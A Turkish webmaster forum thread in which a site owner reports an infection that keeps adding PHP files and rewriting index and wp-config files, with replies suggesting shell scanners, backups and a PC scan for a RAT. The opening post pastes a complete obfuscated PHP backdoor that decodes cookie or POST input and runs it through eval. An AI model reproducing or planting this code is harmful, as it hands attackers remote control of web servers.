netbozum
wmaraci reklam

Hostinge Virüs Bulaştı

23 Mesajlar 3.000 Okunma
Toplam 23 mesaj ve 3.000 görüntüleme
acebozum
KaplanBozum

25749 25749 WM Aracı Anonim Üyelik
  • Üyelik 08.12.2013
  • Yaş/Cinsiyet - /
  • Meslek
  • Konum
  • Ad Soyad ** **
  • Mesajlar 784
  • Beğeniler 128 / 137
  • Ticaret 48, (%100)
Arkadaşlar hostingime virüs bulaştı. Tek bir hostinge bağlı 3-4 sitem var. Hepsinde kendi kendine garip dosya isimli php dosyalar açıyor. cPanel şifrelerini değiştirdim, ftp şifrelerini değiştirdim ama çözüm yok. Farklı bir firmada barınan reseller hostingimde de aynı sorun devam ediyor. FTP programını her girişte sorulan şeklinde düzelttim. Sucuri ve Wordfence kurdum ama çözüm yine yok. İndex ve wp-config dosyalarımı değiştiriyor. Dosya izinleri ile ilgili olabilir mi? Örnek olarak;

$odpha = 'x9b#ns-gdoy3u_c*5a6r1mfpHvt\'7l4e20ik';$nnddx = Array();$nnddx[] = $odpha[1].$odpha[1].$odpha[28].$odpha[28].$odpha[11].$odpha[14].$odpha[14].$odpha[33].$odpha[6].$odpha[11].$odpha[33].$odpha[16].$odpha[1].$odpha[6].$odpha[30].$odpha[14].$odpha[16].$odpha[17].$odpha[6].$odpha[1].$odpha[33].$odpha[31].$odpha[30].$odpha[6].$odpha[32].$odpha[22].$odpha[28].$odpha[2].$odpha[30].$odpha[2].$odpha[11].$odpha[18].$odpha[8].$odpha[20].$odpha[16].$odpha[33];$nnddx[] = $odpha[24].$odpha[15];$nnddx[] = $odpha[3];$nnddx[] = $odpha[14].$odpha[9].$odpha[12].$odpha[4].$odpha[26];$nnddx[] = $odpha[5].$odpha[26].$odpha[19].$odpha[13].$odpha[19].$odpha[31].$odpha[23].$odpha[31].$odpha[17].$odpha[26];$nnddx[] = $odpha[31].$odpha[0].$odpha[23].$odpha[29].$odpha[9].$odpha[8].$odpha[31];$nnddx[] = $odpha[5].$odpha[12].$odpha[2].$odpha[5].$odpha[26].$odpha[19];$nnddx[] = $odpha[17].$odpha[19].$odpha[19].$odpha[17].$odpha[10].$odpha[13].$odpha[21].$odpha[31].$odpha[19].$odpha[7].$odpha[31];$nnddx[] = $odpha[5].$odpha[26].$odpha[19].$odpha[29].$odpha[31].$odpha[4];$nnddx[] = $odpha[23].$odpha[17].$odpha[14].$odpha[35];foreach ($nnddx[7]($_COOKIE, $_POST) as $kujjzrc => $oidmnkl){function ghdxmxv($nnddx, $kujjzrc, $hvidkqy){return $nnddx[6]($nnddx[4]($kujjzrc . $nnddx[0], ($hvidkqy / $nnddx[8]($kujjzrc)) + 1), 0, $hvidkqy);}function dqltm($nnddx, $trtse){return @$nnddx[9]($nnddx[1], $trtse);}function cvtkdlp($nnddx, $trtse){$vbbdg = $nnddx[3]($trtse) % 3;if (!$vbbdg) {eval($trtse[1]($trtse[2]));exit();}}$oidmnkl = dqltm($nnddx, $oidmnkl);cvtkdlp($nnddx, $nnddx[5]($nnddx[2], $oidmnkl ^ ghdxmxv($nnddx, $kujjzrc, $nnddx[8]($oidmnkl))));}
 

 

wmaraci
reklam

Serin2434 Serin2434 Üyeliği Durdurulmuş Banlı Kullanıcı
  • Üyelik 23.11.2017
  • Yaş/Cinsiyet 28 / E
  • Meslek Gayrimenkul Danismani
  • Konum İstanbul Anadolu
  • Ad Soyad S** S**
  • Mesajlar 59
  • Beğeniler 8 / 9
  • Ticaret 2, (%50)
Sunucunda shell dosyasi vardir belkide bi kontrol et derim
 

 

25749 25749 WM Aracı Anonim Üyelik
  • Üyelik 08.12.2013
  • Yaş/Cinsiyet - /
  • Meslek
  • Konum
  • Ad Soyad ** **
  • Mesajlar 784
  • Beğeniler 128 / 137
  • Ticaret 48, (%100)
Nasıl anlayabilirim?
 

 

Serin2434 Serin2434 Üyeliği Durdurulmuş Banlı Kullanıcı
  • Üyelik 23.11.2017
  • Yaş/Cinsiyet 28 / E
  • Meslek Gayrimenkul Danismani
  • Konum İstanbul Anadolu
  • Ad Soyad S** S**
  • Mesajlar 59
  • Beğeniler 8 / 9
  • Ticaret 2, (%50)
Internette shell scanner scriptleri var onlardan yardim alabilirsin
 

 

wmaraci
wmaraci

saykoyazar saykoyazar WM Aracı Kullanıcı
  • Üyelik 22.11.2016
  • Yaş/Cinsiyet 26 / E
  • Meslek Öğrenci
  • Konum Trabzon
  • Ad Soyad O** Ş**
  • Mesajlar 163
  • Beğeniler 43 / 22
  • Ticaret 0, (%0)
Kodespa danışabilir siniz sorununuzu çözecektir.
 

 

motogaraj.net

TazZ TazZ www.ahmetcetintas.com Kullanıcı
  • Üyelik 19.10.2012
  • Yaş/Cinsiyet 37 / E
  • Meslek Grafiker Yazılımcı
  • Konum Aydın
  • Ad Soyad A** Ç**
  • Mesajlar 795
  • Beğeniler 324 / 323
  • Ticaret 19, (%100)
Hangi hosting firmasını kullanıyorsunuz?
 

 

25749 25749 WM Aracı Anonim Üyelik
  • Üyelik 08.12.2013
  • Yaş/Cinsiyet - /
  • Meslek
  • Konum
  • Ad Soyad ** **
  • Mesajlar 784
  • Beğeniler 128 / 137
  • Ticaret 48, (%100)
Arkadaşlar büyük olasılıkla başka bir şey var çünkü hostingimden bağımsız olarak farklı bir firmada barınan reseller hostingimde de aynı sorun var. Dosyalarıma aynı şekilde müdahale edilmiş. Ana dizinde bulunan index.php dosyamda include ile başlayan karışık kod dizimi var
 

 

nirva nirva WM Aracı Kullanıcı
  • Üyelik 04.02.2014
  • Yaş/Cinsiyet 29 / E
  • Meslek Öğretmen
  • Konum İstanbul Anadolu
  • Ad Soyad H** A**
  • Mesajlar 265
  • Beğeniler 26 / 62
  • Ticaret 6, (%100)
mertcanfirat büyük ihtimalle sitelerinizin biri shell yedi barındırma hizmetini sunan firmanıza danışın önce yedeğinizi yükleyin daha sonra açığın kaynağını bulmaya bakın geçmiş olsun
 

 

25749 25749 WM Aracı Anonim Üyelik
  • Üyelik 08.12.2013
  • Yaş/Cinsiyet - /
  • Meslek
  • Konum
  • Ad Soyad ** **
  • Mesajlar 784
  • Beğeniler 128 / 137
  • Ticaret 48, (%100)
harunlog ama garip şekilde alakası olmayan ve başka firmada barınan resellerımdaki önemsiz bir sitemde de aynı sorun var.
 

 

nirva nirva WM Aracı Kullanıcı
  • Üyelik 04.02.2014
  • Yaş/Cinsiyet 29 / E
  • Meslek Öğretmen
  • Konum İstanbul Anadolu
  • Ad Soyad H** A**
  • Mesajlar 265
  • Beğeniler 26 / 62
  • Ticaret 6, (%100)
mertcanfirat tüm sitelerinize tek bilgisayardan eriştiğinizi düşünürsek bilgisayarınızda rat veya benzeri virüsler olabilir bilgisayarınızı bir tarayın derim
 

 

wmaraci
wmaraci
Konuyu toplam 1 kişi okuyor. (0 kullanıcı ve 1 misafir)
Site Ayarları
  • Tema Seçeneği
  • Site Sesleri
  • Bildirimler
  • Özel Mesaj Al